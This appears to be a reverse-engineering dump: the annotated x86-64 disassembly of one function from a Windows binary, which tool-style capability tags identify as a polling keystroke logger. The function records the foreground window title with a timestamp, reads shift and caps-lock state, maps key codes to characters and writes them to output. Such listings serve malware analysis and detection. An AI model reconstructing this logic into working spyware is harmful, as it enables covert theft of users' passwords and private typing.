Function at 0x140001a20
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov ebx, ecx
xor esi, esi
mov dword [rsp + 0x40], esi
xor edx, edx
mov r8d, 0xf8
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140006908]
mov qword [rsp + 0x70], rax
lea rax, [0x140006838]
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x40], 1
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x70], r15
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x10], rsi
mov dword [rbp - 8], esi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rdi, rax
test rax, rax
je 0x140001bf8
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov rsi, rax
mov r8d, 0x100
lea rdx, [rbp + 0xb0]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rcx, [rbp + 0xb0]
lea r9, [0x14000ab70]
sub r9, rcx
nop
movzx r8d, byte [rcx]
movzx eax, byte [rcx + r9]
sub r8d, eax
jne 0x140001b55
inc rcx
test eax, eax
jne 0x140001b40
test r8d, r8d
je 0x140001bf8
lea r8, [rbp + 0xb0]
mov edx, 0x100
lea rcx, [0x14000ab70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
lea r9, [rsp + 0x48]
lea r8, str._FT_X_z
mov edx, 0x40
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rdx, str._n_n_Window:
lea rcx, [rbp - 0x80]
call fcn.140003ae0
mov rcx, rax
lea rdx, [rbp + 0xb0]
call fcn.140003ae0
mov rcx, rax
lea rdx, str.___at
call fcn.140003ae0
mov rcx, rax
lea rdx, [rbp + 0x70]
call fcn.140003ae0
mov rcx, rax
lea rdx, [0x140006750]
call fcn.140003ae0
mov rdx, qword [0x14000ab60]
mov rax, qword [rdx + 8]
mov r8, rdx
movzx r9d, byte [rax + 0x19]
test r9b, r9b
jne 0x140001c2a
mov rcx, rax
cmp dword [rcx + 0x20], ebx
jge 0x140001c1e
mov rcx, qword [rcx + 0x10]
jmp 0x140001c24
mov r8, rcx
mov rcx, qword [rcx]
cmp byte [rcx + 0x19], 0
je 0x140001c13
mov r14d, 0x1000
cmp byte [r8 + 0x19], 0
jne 0x140001c9a
cmp ebx, dword [r8 + 0x20]
jl 0x140001c9a
cmp r8, rdx
je 0x140001c9a
test r9b, r9b
jne 0x140001c5e
cmp dword [rax + 0x20], ebx
jge 0x140001c52
mov rax, qword [rax + 0x10]
jmp 0x140001c58
mov rdx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140001c47
cmp byte [rdx + 0x19], 0
jne 0x140001c8c
cmp ebx, dword [rdx + 0x20]
jl 0x140001c8c
lea r8, [rdx + 0x28]
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x140001c7a
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp - 0x80]
call fcn.140004140
jmp 0x140001d0e
lea rcx, str.invalid_map_K__T__key
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
movzx edi, ax
and dil, 1
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test r14w, ax
jne 0x140001cdf
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
test r14w, ax
jne 0x140001cdf
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
test r14w, ax
je 0x140001ce3
xor dil, 1
mov r8, rsi
mov edx, 2
mov ecx, ebx
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
test dil, dil
jne 0x140001d01
movsx ecx, al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
movzx edx, al
lea rcx, [rbp - 0x80]
call fcn.140003cb0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x140006910]
movdqu xmmword [rsp + 0x58], xmm1
mov byte [rsp + 0x48], 0
mov dword [rsp + 0x40], 5
movups xmmword [rsp + 0x20], xmm0
mov ecx, dword [rbp - 8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140001d62
mov rax, qword [rbp - 0x38]
mov r8, qword [rax]
test r8, r8
je 0x140001d62
mov rax, qword [rbp - 0x58]
mov rdx, qword [rax]
cmp r8, qword [rbp - 0x10]
cmovb r8, qword [rbp - 0x10]
sub r8, rdx
jmp 0x140001d93
test cl, 4
jne 0x140001d89
mov rax, qword [rbp - 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140001d89
mov rax, qword [rbp - 0x60]
mov rdx, qword [rax]
mov rax, qword [rbp - 0x28]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x140001d93
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x20]
test rdx, rdx
je 0x140001da3
lea rcx, [rsp + 0x48]
call fcn.140003980
nop
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [0x14000a050]
call fcn.140004140
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140001e02
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, r14
jb 0x140001dfd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001dfd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e6c
lea rcx, [0x14000a050]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x140006910]
movdqu xmmword [rsp + 0x58], xmm1
mov byte [rsp + 0x48], 0
mov dword [rsp + 0x40], 0x13
movups xmmword [rsp + 0x20], xmm0
mov ecx, dword [rbp - 8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140001e64
mov rax, qword [rbp - 0x38]
mov r8, qword [rax]
test r8, r8
je 0x140001e64
mov rax, qword [rbp - 0x58]
mov rdx, qword [rax]
cmp r8, qword [rbp - 0x10]
cmovb r8, qword [rbp - 0x10]
sub r8, rdx
jmp 0x140001e95
test cl, 4
jne 0x140001e8b
mov rax, qword [rbp - 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140001e8b
mov rax, qword [rbp - 0x60]
mov rdx, qword [rax]
mov rax, qword [rbp - 0x28]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x140001e95
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x20]
test rdx, rdx
je 0x140001ea5
lea rcx, [rsp + 0x48]
call fcn.140003980
nop
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004140
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140001f05
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, r14
jb 0x140001eff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001eff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e6c
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r15
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x78]
call fcn.140002770
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140004af0
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret